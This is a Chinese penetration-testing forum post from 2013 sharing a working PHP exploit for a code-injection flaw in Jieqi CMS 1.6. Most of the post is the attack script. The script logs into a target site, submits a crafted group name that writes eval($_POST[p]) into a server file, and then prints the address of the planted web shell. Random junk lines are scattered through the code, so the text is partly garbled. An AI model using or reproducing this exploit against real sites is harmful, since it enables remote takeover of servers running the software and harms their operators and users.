中国网络渗透测试联盟
标题:
Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP
[打印本页]
作者:
admin
时间:
2013-2-23 11:28
标题:
Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
- Z$ p! t5 b/ F4 f
2 L5 E. `+ Z0 P7 ^
0 ~( J: F+ m+ Q( I
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
+ t% P8 v" V, G6 N6 ~
需要有一个能创建圈子的用户。
5 m* f! U( Y# ]2 F4 u( [
( Y) P: \ u8 V3 k, b& N: Z0 o$ P# I# u8 O
<?php
( ^3 K" a. w5 q: N& }1 A( g! t
& p5 z* `! }; H: l) K
print_r('
$ |7 d# o) i' o D( P
+---------------------------------------------------------------------------+
2 `2 ?+ J/ R$ c$ a4 R
Jieqi CMS V1.6 PHP Code Injection Exploit
+ j9 p$ K; T5 x9 ^( f3 G1 M. K
by flyh4t
& w1 g0 [; _' U0 L9 R; @* Q( `
mail: phpsec at hotmail dot com
/ ~. j C* f3 c2 U2 Z2 S( k0 a' a
team:
http://www.wolvez.org
# Q9 T9 `% {' t( f, i, R
+---------------------------------------------------------------------------+
/ @* I) n$ O' z2 B L5 Z
'); /**
( I. O3 h3 U* p7 P4 u* w1 z: v* ~# a
* works regardless of php.ini settings
) d& o h9 q& |. P( b0 Z7 u1 s# j
*/ if ($argc < 5) { print_r('
# I7 K- T$ `- x, L' E$ C% K3 f; e
+---------------------------------------------------------------------------+
1 b( l7 b: M Z* L
Usage: php '.$argv[0].' host path username
/ e# m% n' A9 X" T# x7 I
host: target server (ip/hostname)
3 {- V% y4 p- m
path: path to jieqicms
% J+ D+ |; _- Y/ g- h7 J# m& S# ^9 D, M4 B
uasename: a username who can create group
% L' N9 j3 [$ N- f( b& Y
Example:
& X1 t' d" f8 b1 |9 ~% W
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
" b+ y; k' g4 j5 X1 q d- D7 e
+---------------------------------------------------------------------------+
z% v9 Z0 M; [9 n) U; P8 P" G0 E
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
# {" R5 z! W4 D* x) G& E
Content-Disposition: form-data; name="gname"
# P6 z% z7 Q, S# Z* Y$ h
5 l: L' f5 |0 Z7 @+ f1 H
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
3 Y9 z& u, p) S* V/ ?/ r x1 c
-----------------------------23281168279961
" ?; n# a: U$ y2 L/ m- \4 i1 V
Content-Disposition: form-data; name="gcatid"
: q+ X2 l+ d8 ]7 c3 a
. {. g" a2 N1 J* b7 g2 }
1
& W7 a; W* T: _" m% [
-----------------------------23281168279961
( |/ L0 j' V$ ~. I$ ~
Content-Disposition: form-data; name="gaudit"
) }0 z6 r2 y8 U* \2 o" ]
/ G! M1 ~! Z) d& j
1
9 a" v% h' k/ a0 C
-----------------------------23281168279961
- M, K: W) m4 m" @
Content-Disposition: form-data; name="gbrief"
% a" N% g( k' m5 r: H+ }! T) b
4 G) g, H0 [& ?8 ~
1
8 ~, v8 s. l8 m* r; L
-----------------------------23281168279961--
2 h6 E& |; i; I# z
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean();
www.2cto.com
9 Y% D' z% i; d9 C+ _
" t) B4 Q! x/ C1 J5 {
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2